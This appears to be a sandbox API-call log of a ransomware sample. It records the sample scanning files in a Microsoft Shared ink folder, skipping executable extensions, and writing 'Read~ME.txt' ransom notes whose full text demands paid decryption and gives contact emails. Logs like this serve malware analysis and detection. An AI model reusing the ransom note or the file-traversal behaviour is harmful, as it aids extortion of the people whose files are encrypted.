	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.255] lstrlenW (lpString=".sys") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".sys") returned 0x0
	[0078.255] lstrlenW (lpString=".msc") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".msc") returned 0x0
	[0078.255] lstrlenW (lpString=".com") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".com") returned 0x0
	[0078.255] lstrlenW (lpString=".lnk") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.255] lstrlenW (lpString=".msp") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".msp") returned 0x0
	[0078.255] lstrlenW (lpString=".pif") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".pif") returned 0x0
	[0078.255] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abea0 | out: hHeap=0x300000) returned 1
	[0078.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.256] RtlWakeConditionVariable () returned 0x365f70
	[0078.256] GetCurrentThreadId () returned 0x9f4
	[0078.256] GetCurrentThreadId () returned 0x9f4
	[0078.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0078.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d70 | out: hHeap=0x300000) returned 1
	[0078.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abf48
	[0078.256] lstrlenW (lpString=".scr") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".scr") returned 0x0
	[0078.256] lstrlenW (lpString=".cmd") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.256] lstrlenW (lpString=".dll") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".dll") returned 0x0
	[0078.256] lstrlenW (lpString=".bat") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".bat") returned 0x0
	[0078.256] lstrlenW (lpString=".cpl") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.256] lstrlenW (lpString=".sys") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".sys") returned 0x0
	[0078.256] lstrlenW (lpString=".msc") returned 4
	[0078.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".msc") returned 0x0
	[0078.257] lstrlenW (lpString=".com") returned 4
	[0078.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".com") returned 0x0
	[0078.257] lstrlenW (lpString=".lnk") returned 4
	[0078.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.257] lstrlenW (lpString=".msp") returned 4
	[0078.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".msp") returned 0x0
	[0078.257] lstrlenW (lpString=".pif") returned 4
	[0078.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch=".pif") returned 0x0
	[0078.257] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0078.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.323] RtlWakeConditionVariable () returned 0x365f70
	[0078.323] GetCurrentThreadId () returned 0x9f4
	[0078.323] GetCurrentThreadId () returned 0x9f4
	[0078.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3698 | out: hHeap=0x300000) returned 1
	[0078.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa048 | out: hHeap=0x300000) returned 1
	[0078.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3698
	[0078.323] lstrlenW (lpString=".scr") returned 4
	[0078.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".scr") returned 0x0
	[0078.323] lstrlenW (lpString=".cmd") returned 4
	[0078.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.323] lstrlenW (lpString=".dll") returned 4
	[0078.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.323] lstrlenW (lpString=".dll.mui") returned 8
	[0078.323] lstrlenW (lpString=".bat") returned 4
	[0078.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".bat") returned 0x0
	[0078.323] lstrlenW (lpString=".cpl") returned 4
	[0078.323] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.323] lstrlenW (lpString=".sys") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".sys") returned 0x0
	[0078.324] lstrlenW (lpString=".msc") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".msc") returned 0x0
	[0078.324] lstrlenW (lpString=".com") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".com") returned 0x0
	[0078.324] lstrlenW (lpString=".lnk") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.324] lstrlenW (lpString=".msp") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".msp") returned 0x0
	[0078.324] lstrlenW (lpString=".pif") returned 4
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch=".pif") returned 0x0
	[0078.324] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.324] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3698 | out: hHeap=0x300000) returned 1
	[0078.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.324] RtlWakeConditionVariable () returned 0x365f70
	[0078.324] GetCurrentThreadId () returned 0x9f4
	[0078.324] GetCurrentThreadId () returned 0x9f4
	[0078.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0078.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa080 | out: hHeap=0x300000) returned 1
	[0078.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.325] lstrlenW (lpString=".scr") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.325] lstrlenW (lpString=".cmd") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.325] lstrlenW (lpString=".dll") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.325] lstrlenW (lpString=".dll.mui") returned 8
	[0078.325] lstrlenW (lpString=".bat") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.325] lstrlenW (lpString=".cpl") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.325] lstrlenW (lpString=".sys") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.325] lstrlenW (lpString=".msc") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.325] lstrlenW (lpString=".com") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.325] lstrlenW (lpString=".lnk") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.325] lstrlenW (lpString=".msp") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.325] lstrlenW (lpString=".pif") returned 4
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.325] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.325] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3740 | out: hHeap=0x300000) returned 1
	[0078.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.326] RtlWakeConditionVariable () returned 0x365f70
	[0078.326] GetCurrentThreadId () returned 0x9f4
	[0078.326] GetCurrentThreadId () returned 0x9f4
	[0078.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0b8 | out: hHeap=0x300000) returned 1
	[0078.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.326] lstrlenW (lpString=".scr") returned 4
	[0078.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".scr") returned 0x0
	[0078.326] lstrlenW (lpString=".cmd") returned 4
	[0078.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.326] lstrlenW (lpString=".dll") returned 4
	[0078.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.326] lstrlenW (lpString=".dll.mui") returned 8
	[0078.326] lstrlenW (lpString=".bat") returned 4
	[0078.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".bat") returned 0x0
	[0078.326] lstrlenW (lpString=".cpl") returned 4
	[0078.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.327] lstrlenW (lpString=".sys") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".sys") returned 0x0
	[0078.327] lstrlenW (lpString=".msc") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".msc") returned 0x0
	[0078.327] lstrlenW (lpString=".com") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".com") returned 0x0
	[0078.327] lstrlenW (lpString=".lnk") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.327] lstrlenW (lpString=".msp") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".msp") returned 0x0
	[0078.327] lstrlenW (lpString=".pif") returned 4
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch=".pif") returned 0x0
	[0078.327] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.327] RtlWakeConditionVariable () returned 0x365f70
	[0078.327] GetCurrentThreadId () returned 0x9f4
	[0078.327] GetCurrentThreadId () returned 0x9f4
	[0078.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0078.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0f0 | out: hHeap=0x300000) returned 1
	[0078.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3890
	[0078.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.399] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.399] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.400] CloseHandle (hObject=0x120) returned 1
	[0078.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3890 | out: hHeap=0x300000) returned 1
	[0078.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.400] RtlWakeConditionVariable () returned 0x365f70
	[0078.401] GetCurrentThreadId () returned 0x9f4
	[0078.401] GetCurrentThreadId () returned 0x9f4
	[0078.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0078.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa208 | out: hHeap=0x300000) returned 1
	[0078.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3c80
	[0078.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.418] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.419] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.420] CloseHandle (hObject=0x120) returned 1
	[0078.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3c80 | out: hHeap=0x300000) returned 1
	[0078.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.420] RtlWakeConditionVariable () returned 0x365f70
	[0078.420] GetCurrentThreadId () returned 0x9f4
	[0078.420] GetCurrentThreadId () returned 0x9f4
	[0078.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0078.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0078.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0078.420] lstrlenW (lpString=".scr") returned 4
	[0078.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".scr") returned 0x0
	[0078.420] lstrlenW (lpString=".cmd") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".cmd") returned 0x0
	[0078.421] lstrlenW (lpString=".dll") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".dll") returned 0x0
	[0078.421] lstrlenW (lpString=".bat") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".bat") returned 0x0
	[0078.421] lstrlenW (lpString=".cpl") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".cpl") returned 0x0
	[0078.421] lstrlenW (lpString=".sys") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".sys") returned 0x0
	[0078.421] lstrlenW (lpString=".msc") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".msc") returned 0x0
	[0078.421] lstrlenW (lpString=".com") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".com") returned 0x0
	[0078.421] lstrlenW (lpString=".lnk") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".lnk") returned 0x0
	[0078.421] lstrlenW (lpString=".msp") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".msp") returned 0x0
	[0078.421] lstrlenW (lpString=".pif") returned 4
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch=".pif") returned 0x0
	[0078.421] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0078.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.422] RtlWakeConditionVariable () returned 0x365f70
	[0078.422] GetCurrentThreadId () returned 0x9f4
	[0078.423] GetCurrentThreadId () returned 0x9f4
	[0078.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5b98 | out: hHeap=0x300000) returned 1
	[0078.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0078.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5b98
	[0078.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.423] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.423] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.424] CloseHandle (hObject=0x120) returned 1
